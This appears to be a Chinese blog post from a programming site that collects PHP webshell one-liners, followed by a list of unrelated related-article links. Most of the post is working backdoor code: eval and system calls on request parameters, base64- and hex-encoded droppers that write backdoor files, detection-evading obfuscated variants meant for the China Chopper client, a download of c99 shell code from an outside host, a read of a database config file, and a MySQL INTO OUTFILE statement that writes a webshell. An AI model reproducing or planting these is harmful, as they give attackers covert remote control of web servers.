PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
jQuery EasyUI API 中文文档 - DateBox日期框
Oct 15 PHP
PHP与MongoDB简介|安全|M+PHP应用实例详解
Jun 17 PHP
如何使用php输出时间格式
Aug 31 PHP
php接口和抽象类使用示例详解
Mar 02 PHP
两种设置php载入页面时编码的方法
Jul 29 PHP
PHP实现文件上传和多文件上传
Dec 24 PHP
thinkphp3.x中变量的获取和过滤方法详解
May 20 PHP
php文件包含目录配置open_basedir的使用与性能详解
Apr 03 PHP
阿里云的WindowsServer2016上部署php+apache
Jul 17 PHP
PHP PDOStatement::setFetchMode讲解
Feb 03 PHP
PHP count()函数讲解
Feb 03 PHP
php实现JWT(json web token)鉴权实例详解
Nov 05 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
什么是调频(FM)、调幅(AM)、短波(SW)、长波(LW)
2021/03/01 无线电
数据库相关问题
2006/10/09 PHP
如何过滤高亮显示非法字符
2006/10/09 PHP
PHPCMS的使用小结
2010/09/20 PHP
PHP正则匹配日期和时间(时间戳转换)的实例代码
2016/12/14 PHP
PHP实现的DES加密解密封装类完整实例
2017/04/29 PHP
php实现自定义中奖项数和概率的抽奖函数示例
2017/05/26 PHP
Thinkphp框架+Layui实现图片/文件上传功能分析
2020/02/07 PHP
在html页面中包含共享页面的方法
2008/10/24 Javascript
jQuery 学习6 操纵元素显示效果的函数
2010/02/07 Javascript
JavaScript游戏之是男人就下100层代码打包
2010/11/08 Javascript
js监听输入框值的即时变化onpropertychange、oninput
2011/07/13 Javascript
服务器端的JavaScript脚本 Node.js 使用入门
2012/03/07 Javascript
一个检测表单数据的JavaScript实例
2014/10/31 Javascript
angular简介和其特点介绍
2015/01/29 Javascript
浅谈JavaScript中运算符的优先级
2015/07/07 Javascript
js控制元素显示在屏幕固定位置及监听屏幕高度变化的方法
2015/08/11 Javascript
解析JavaScript中的字符串类型与字符编码支持
2016/06/24 Javascript
JSON 必知必会 观后记
2016/10/27 Javascript
javascript数组去重常用方法实例分析
2017/04/11 Javascript
[46:43]DOTA2上海特级锦标赛D组小组赛#1 EG VS COL第三局
2016/02/28 DOTA
Python实现列表转换成字典数据结构的方法
2016/03/11 Python
jupyter安装小结
2016/03/13 Python
Python实现扩展内置类型的方法分析
2017/10/16 Python
TensorFlow实现随机训练和批量训练的方法
2018/04/28 Python
pytorch 可视化feature map的示例代码
2019/08/20 Python
PyQt5+python3+pycharm开发环境配置教程
2020/03/24 Python
套娃式文件夹如何通过Python批量处理
2020/08/23 Python
python识别验证码的思路及解决方案
2020/09/13 Python
详解基于python的图像Gabor变换及特征提取
2020/10/26 Python
英国最大的在线亚洲杂货店:Red Rickshaw
2020/03/22 全球购物
人力资源管理专业毕业生推荐信
2013/11/07 职场文书
网站设计师的岗位职责
2013/11/21 职场文书
求职信:会计求职的写作技巧
2019/04/24 职场文书
CSS实现渐变色边框(Gradient borders)的5种方法
2022/03/25 HTML / CSS
Golang Elasticsearches 批量修改查询及发送MQ
2022/04/19 Golang